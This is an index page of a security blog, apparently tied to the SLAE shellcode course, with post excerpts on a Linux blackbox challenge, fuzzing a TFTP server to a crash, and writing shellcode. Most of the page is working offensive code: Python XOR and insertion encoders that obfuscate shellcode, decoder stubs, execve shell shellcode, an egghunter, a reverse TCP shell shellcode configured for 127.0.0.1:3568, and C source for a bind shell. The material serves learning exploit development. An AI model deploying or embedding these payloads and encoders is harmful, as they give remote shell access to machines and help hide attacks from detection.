Linux Challenge Blackbox #1

October 5th, 2014

I put together a small blackbox challenge this afternoon. Download it now:

Challenge starts here

The challenge covers some Linux file manipulation, C/ASM, GDB and filesystem. Please post questions or feedback in the comments. No spoilers! If you’ve got the master password, contact me privately through the form and if you’re correct I’ll post your details here.

Update 6th Oct 14:00 GMT

I’ve received a lot of questions and clarifications. Here are some hints for the first part.. πŸ™‚

  1. Β The download file is hidden on this page. It’s not hard to find!
  2. Linux “file” command is helpful
  3. Make sure you have GDB installed and know how to use it

And for the second part…

  1. I <3 AES 256!

The final key is a 16 byte string padded out to 32 bytes.

The challenge has now been solved, and an excellent and very detailed solution posted by Reader Remi Pommarel (repk at triplefau dot lt). Here is Remi’s solution:

Spoiler Inside: Challenge Solution SelectShow

Please feel free to submit your own solutions!

Fuzz to Denial of Service: Quick TFTP Server 2.2

June 6th, 2013

On a recent hunt for bugs, I came across a buffer overflow condition in TallSoft’s newly released Quick TFTP Server 2.2. I thought I’d write a short guide as to how the bug was identified and how the denial of service was constructed against the application. Unfortunately for us, the application was compiled with ‘/GS’ which makes exploitation significantly more difficult. In short, at the start of each function, the compiler inserts a special ‘cookie’ value after the allocated buffer space. When the function returns, if the cookie is intact and matches the expected value, all is good, if not, we can assume that the buffer has been overrun and the application crashes. We can’t predict the expected value and just include it as part of our exploit as it is generated dynamically at runtime. Exploits already exist for previous versions of this application, and it seems that instead of patching the bugs, the vendor has simply recompiled with /GS enabled. Anyway, on to the bug – the first step was to fuzz the application.

Spike TFTP Template

Spike TFTP Template

The RFC and protocol description for TFTP is pretty simple – it’s a UDP service that runs over port 69. This allows us to build a template for SPIKE fuzzer. In the template, we are specifying bytes that must remain consistent, and then ‘variable’ bytes.

This is our SPIKE template. Here, we specify two fixed binary bytes ‘\x00\x02’ followed by a fuzz point i.e. the filename. We then require another fixed null binary byte ‘\x00’, followed by another fuzz point. Lastly, we terminate the payload with a final ‘\x00’ byte. This should maintain the integrity of the protocol whilst we examine how the application will handle different types and length of input placed at the two fuzz points. The next step is running SPIKE against our application and seeing if we observe anything interesting
Read the rest of this entry »

BASH One liner – Disassemble shellcode

April 30th, 2013

Here’s a BASH one liner that I just discovered that will allow you to disassemble shellcode on the command line:

echo -n $'\x41\x41\x41\x41' | ndisasm -u -

00000000  41                inc ecx
00000001  41                inc ecx
00000002  41                inc ecx
00000003  41                inc ecx

Enjoy!

Python Cascading XOR Polymorphic Shellcode Generator

April 11th, 2013

I’ve been working on a simple python utility to encode and wrap existing shellcode. The shellcode is XOR’d with a random seed byte each time, and then the shellcode is XOR’d with the previous byte. The stub itself is vaguely polymorphic. The stub itself is very small although on each run, it will reorder instructions where possible, use different registers, and add some random nop sequences. The encoder itself supports shellcode with or without null bytes and also supports a list of ‘bad characters’ that are not allowed to appear in the finished result wherever possible. That part isn’t fool proof, and certain characters such as ‘\xeb’ are unavoidable. This could be improved a lot however. I also know the Python code isn’t great, but it is functional. As you’ll see from looking through the code, I never got round to learning about Python data types and so there’s a lot of hackery and kludgery. In any case, the purpose was just to develop a basic functional PoC from scratch.

If the entered shellcode contains nulls, we’ll use a slightly different version of the decoder stub. If we DO have nulls, our basic stub is:

_start:
jmp short getpc
start_decoder:
pop edi
decoder:
inc edi
mov bl, [edi]
xor [edi-1], bl
cmp byte[edi+1], 0xXX
jnz decoder
jmp short shellcode
getpc:
call start_decoder
shellcode: db 0xf0,0x19,0x0c,0x0c,0x0c,0x0c,0x55,0x64,0xa4,0x95,0x4e,0x7f,0xad,0x1d,0x19,0xaa,0xab,0x19,0x14,0xd9,0x59,0xe9,0xe8,0x5b,0x5a,0x97,0x17,0xff,0x19,0xe6,0x19,0xe6,0xae,0xcb,0xa7,0xcb,0xa4,0x84,0xd3,0xbc,0xce,0xa2,0xc6,0xe7,0xed,0xXX,

There will be various transforms made to this code, however the main point to note is that we ‘cmp’ the byte with our random stop bit (0xXX) and you’ll see that tagged on to the end of the shellcode also. If we have no nulls, then \x00 is going to be our definer for the last character, and so we can shorten the shellcode slightly:

global _start
section prog write exec
_start:
jmp short getpc
start_decoder:
pop ebp
decoder:
mov dl, [ebp+1]
inc ebp
xor [ebp-1], dl
jne decoder
jmp short shellcode
getpc:
call start_decoder
shellcode: db 0x64,0x55,0x8e,0x79,0x9a,0x2a,0x4c,0x1f,0xe1,0x22,0x71,0x1b,0x19,0x90,0x71,0xbc,0x3c,0xb5,0x72,0x18,0x7e,0x26,0x7d,0x23,0x45,0x2d,0x20,0xd0,0xb6,0xe5,0x6c,0x8d,0xe7,0xf7,0xa6,0xf1,0x78,0x99,0x54,0xd4,0xbe,0xd8,0x80,0x81,0x5a,0x30,0x31,0x66,0xef,0x0e,0xc3,0x43,0x29,0x4f,0x17,0x54,0x65,0xb7,0xe5,0xb7,0xe0,0x69,0x88,0x45,0xc5,0x56,0x67,0xae,0x1f,0x1d,0xad,0x92,0x5f,0xdf,0x96,0xef,0x16,0x27,0xe7,0xb7,0xdf,0xf0,0xdf,0xac,0xc4,0xac,0x83,0xe1,0x88,0xe6,0x6f,0x8c,0xdc,0x55,0xb7,0xe4,0x6d,0x8c,0x3c,0x37,0xfa,0x7a,0x7a,

In this case, we have the stop bit twice – 0x7a,0x7a which will xor to 0x00 allowing our ‘jne decoder’ to evaluate to false and continue into the shellcode.

The nop generator function is commented out however this can be expanded as needed to pad out the shellcode.

Here’s the full encoder:

Read the rest of this entry »

SLAE Shellcode Dissection

April 11th, 2013

As part of the SecurityTube SLAE course, I’m going to dissect 3 shellcodes from shell-storm.org and then also create variants of 3 shellcodes from shell-storm.org. Here they are:

http://www.shell-storm.org/shellcode/files/shellcode-67.php: This is a very well optimized shellcode. The shellcode is designed to run the ‘ifconfig eth0 down’ command which will take down the eth0 network interface under Linux. My analysis is as follows:

push   $0xb		;Push 0xb (11) on to the stack
pop    %eax		;Pop the stack into eax. Now eax eq 0xb (11)
cltd			;Extend the sign of eax(0) -> edx. i.e. zero edx
push   %edx		;Push 0x00000000 to the stack
push   $0x6e776f64	;Push 'down' in reverse
mov    %esp,%esi	;Move a pointer to 'down' in to esi
push   %edx		;Push 0x00000000 to the stack
push   $0x30687465	;Push 'eth0' in reverse
mov    %esp,%ecx	;Move a pointer to 'eth0' in to ecx
push   %edx		;Push 0x00000000 to the stack
push   $0x6769666e	;nfig
push   $0x6f636669	;ifco
push   $0x2f2f6e69	;in//
push   $0x62732f2f	;//sb
mov    %esp,%ebx	;Push pointer to //sbin//ifconfig
push   %edx		;Push 0x00000000
push   %esi		;Push pointer to 'down'
push   %ecx		;Push pointer to 'eth0'
push   %ebx		;Push pointer to '//sbin//ifconfig'
mov    %esp,%ecx	;Move the stack pointer to ecx for call below
int    $0x80		;Call system call (0xb) - execve

Read the rest of this entry »

Insertion and additive XOR encoder shellcode

April 8th, 2013

Another shellcode generator I’ve just created is an additive XOR encoder on top of the previous insertion encoder. Each byte in the shellcode is XOR’d with the previous. Bad character filtering is also supported:

#!/usr/bin/python

#; Title Insertion and Additive XOR encoder v0.1
#; Author npn <npn at iodigitalsec dot com>
#; License http://creativecommons.org/licenses/by-sa/3.0/
#; Legitimate use and research only
#; This program is distributed in the hope that it will be useful,
#; but WITHOUT ANY WARRANTY; without even the implied warranty of
#; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 


import random

shellcode = ("\x31\xc0\x50\x68\x62\x61\x73\x68\x68\x62\x69\x6e"
		"\x2f\x68\x2f\x2f\x2f\x2f\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80")

badchars = (["\x0a", "\x0d"])
stopbyte = "\xaa"

#---#

#print "Starting Set length: " + repr(len(allowedxors))
#step1

allowedxors = (["\x01","\x02","\x03","\x04","\x05","\x06","\x07","\x08","\x09","\x0a","\x0b","\x0c",
		"\x0d","\x0e","\x0f","\x10","\x11","\x12","\x13","\x14","\x15","\x16","\x17","\x18",
		"\x19","\x1a","\x1b","\x1c","\x1d","\x1e","\x1f","\x20","\x21","\x22","\x23","\x24",
		"\x25","\x26","\x27","\x28","\x29","\x2a","\x2b","\x2c","\x2d","\x2e","\x2f","\x30",
		"\x31","\x32","\x33","\x34","\x35","\x36","\x37","\x38","\x39","\x3a","\x3b","\x3c",
		"\x3d","\x3e","\x3f","\x40","\x41","\x42","\x43","\x44","\x45","\x46","\x47","\x48",
		"\x49","\x4a","\x4b","\x4c","\x4d","\x4e","\x4f","\x50","\x51","\x52","\x53","\x54",
		"\x55","\x56","\x57","\x58","\x59","\x5a","\x5b","\x5c","\x5d","\x5e","\x5f","\x60",
		"\x61","\x62","\x63","\x64","\x65","\x66","\x67","\x68","\x69","\x6a","\x6b","\x6c",
		"\x6d","\x6e","\x6f","\x70","\x71","\x72","\x73","\x74","\x75","\x76","\x77","\x78",
		"\x79","\x7a","\x7b","\x7c","\x7d","\x7e","\x7f","\x80","\x81","\x82","\x83","\x84",
		"\x85","\x86","\x87","\x88","\x89","\x8a","\x8b","\x8c","\x8d","\x8e","\x8f","\x90",
		"\x91","\x92","\x93","\x94","\x95","\x96","\x97","\x98","\x99","\x9a","\x9b","\x9c",
		"\x9d","\x9e","\x9f","\xa0","\xa1","\xa2","\xa3","\xa4","\xa5","\xa6","\xa7","\xa8",
		"\xa9","\xaa","\xab","\xac","\xad","\xae","\xaf","\xb0","\xb1","\xb2","\xb3","\xb4",
		"\xb5","\xb6","\xb7","\xb8","\xb9","\xba","\xbb","\xbc","\xbd","\xbe","\xbf","\xc0",
		"\xc1","\xc2","\xc3","\xc4","\xc5","\xc6","\xc7","\xc8","\xc9","\xca","\xcb","\xcc",
		"\xcd","\xce","\xcf","\xd0","\xd1","\xd2","\xd3","\xd4","\xd5","\xd6","\xd7","\xd8",
		"\xd9","\xda","\xdb","\xdc","\xdd","\xde","\xdf","\xe0","\xe1","\xe2","\xe3","\xe4",
		"\xe5","\xe6","\xe7","\xe8","\xe9","\xea","\xeb","\xec","\xed","\xee","\xef","\xf0",
		"\xf1","\xf2","\xf3","\xf4","\xf5","\xf6","\xf7","\xf8","\xf9","\xfa","\xfb","\xfc",
		"\xfd","\xfe","\xff"])
if stopbyte in allowedxors:
	allowedxors.remove(stopbyte)


for b in badchars:
	if b in allowedxors:
		allowedxors.remove(b)


#step1 insert random junk in every other byte
b = bytearray()
for x in bytearray(shellcode):
	b.append(ord(random.choice(allowedxors)))
	b.append(x)
b.append(ord(stopbyte))
shellcode = b

#step2 cascading additive xor with known start byte
myallowedxors = list(allowedxors)
random.shuffle(myallowedxors)
loopctr=1
for ax in myallowedxors:
	b = bytearray()
	lastbyte = ord(ax)
	b.append(lastbyte)
	badchar = 0
	for x in bytearray(shellcode):
		thisbyte = x^lastbyte
		if chr(thisbyte) == stopbyte or chr(thisbyte) in badchars:
			badchar = 1
			break
		b.append(thisbyte)
		lastbyte = thisbyte
 	if badchar == 1:
		loopctr=loopctr+1
	else:
		break
if badchar == 1:
	print "No bytes left(3)"
	quit()

print "Succeeded on %d of %d" % (loopctr, len(allowedxors))
shellcode = b

#step3 put it together

encoded = ""
encoded2 = ""

for x in bytearray(shellcode):
	encoded += '\\x%02x' % x
	encoded2 += '0x%02x,' % x

print encoded
print encoded2
print 'Len: %d' % (len(encoded)/4)

Read the rest of this entry »

Linux Insertion Obfuscated Shellcode

April 8th, 2013

Here is my next shellcode, along with a generator. This generator inserts a random bit between each legitimate shellcode character, and then the decoder stub unpacks it before running it:

; Title Linux Insertion Obfuscated Shellcode v0.1
; Author npn <npn at iodigitalsec dot com>
; License http://creativecommons.org/licenses/by-sa/3.0/
; Legitimate use and research only
; This program is distributed in the hope that it will be useful,
; but WITHOUT ANY WARRANTY; without even the implied warranty of
; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 

#!/usr/bin/python

shellcode = ("\x31\xc0\x50\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80")
stopchar = "\xff";
encoded = ""
encoded2 = ""

import random

for x in bytearray(shellcode):
        encoded += '\\x'
        encoded += '%02x' % x
        encoded += '\\x%02x' % random.randint(1,254)

        encoded2 += '0x'
        encoded2 += '%02x,' % x
        encoded2 += '0x%02x,' % random.randint(1,254)

encoded += '\\x'
encoded += '%02x' % ord(stopchar)
encoded2 += '0x'
encoded2 += '%02x' % ord(stopchar)

print encoded
print encoded2
print 'Len: %d' % len(bytearray(shellcode))

Read the rest of this entry »

Linux Egghunter Shellcode

April 7th, 2013

I created my first egghunter today, and with a little optimization it’s only 38 bytes in size. It would be possible to make a smaller egghunter that did not check for access to the page such as this one which is only 29 bytes! It would run slower however.

The bytes to modify are highlighted in bold (\xf3 \x3d \xf0 \x0d). The shellcode itself is:
“\x31\xc9\xf7\xe1\xfc\x66\x81\xca\xff\x0f\x6a\x21”
“\x58\x42\x8d\x5a\x04\xcd\x80\x3c\xf2\x74\xee\x89”
\xd7\xb8\xf3\x3d\xf0\x0d\xaf\x75\xe9\xaf\x75\xe6″
“\xff\xe7”. The shellcode searches through memory for the tag twice over before jumping execution to the location immediately after. The shellcode will skip pages that give error (cmp al, 0xf2; jz next_page) rather than blindly continuing.

The assembly code for this shellcode is:

; Title Linux Egghunter Shellcode v0.1
; Author npn <npn at iodigitalsec dot com>
; License http://creativecommons.org/licenses/by-sa/3.0/
; Legitimate use and research only
; This program is distributed in the hope that it will be useful,
; but WITHOUT ANY WARRANTY; without even the implied warranty of
; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 
global _start

section .text

_start:
xor ecx, ecx
mul ecx
cld

next_page:
or dx, 0xfff;

next_byte:
push byte 0x21  ;access()
pop eax
inc edx
;ecx is 0 already
lea ebx, [edx+4]
int 0x80

cmp al, 0xf2    ;check for error
jz next_page    ;can't read the page

mov edi, edx
mov eax, 0x0df03df3
scasd
jnz next_byte   ;keep trying
scasd           ;do we have the string twice?
jnz next_byte   ;keep trying

jmp edi         ;found

Read the rest of this entry »

Linux Reverse Shell TCP Shellcode

April 7th, 2013

Now to create a reasonably well optimized linux Reverse TCP shellcode (66 bytes):

“\x31\xdb\xf7\xe3\x52\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x93\x59\x68”
“\x7f\x00\x00\x01” <- IP address 127.0.0.1
“\x66\x68”
“\x0d\xf0” <- Port 3568
“\x66\x51\xb0\x3f\xcd\x80\x49\x79\xf9\x89\xe1\x6a\x10\x51\x53\x89\xe1\xb0”
“\x66\xcd\x80\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x31\xc9\x89\xe3”
“\xb0\x0b\xcd\x80”

Read the rest of this entry »

Linux Shell Bind TCP Shellcode

April 7th, 2013

As part of the SecurityTube SLAE course, I’m going to create a series of shellcodes and document the process. The first task is to create a simple shell bind tcp that spawns a shell on connect, with a port that is easily configurable. Firstly, I wrote out in C what I was hoping to achieve:

#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>

int main(void)
{
        int clientfd, sockfd;
        int dstport = 4444;
        int o = 1;
        struct sockaddr_in mysockaddr;

        sockfd = socket(AF_INET, SOCK_STREAM, 0);
        //setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &o, sizeof(o)); //a luxury we don't have space for

        mysockaddr.sin_family = AF_INET; //2
        mysockaddr.sin_port = htons(dstport);
        mysockaddr.sin_addr.s_addr = INADDR_ANY; //0

        bind(sockfd, (struct sockaddr *) &mysockaddr, sizeof(mysockaddr));

        listen(sockfd, 0);

        clientfd = accept(sockfd, NULL, NULL);

        dup2(clientfd, 0);
        dup2(clientfd, 1);
        dup2(clientfd, 2);

        execve("/bin/sh", NULL, NULL);
        return 0;
}

Read the rest of this entry »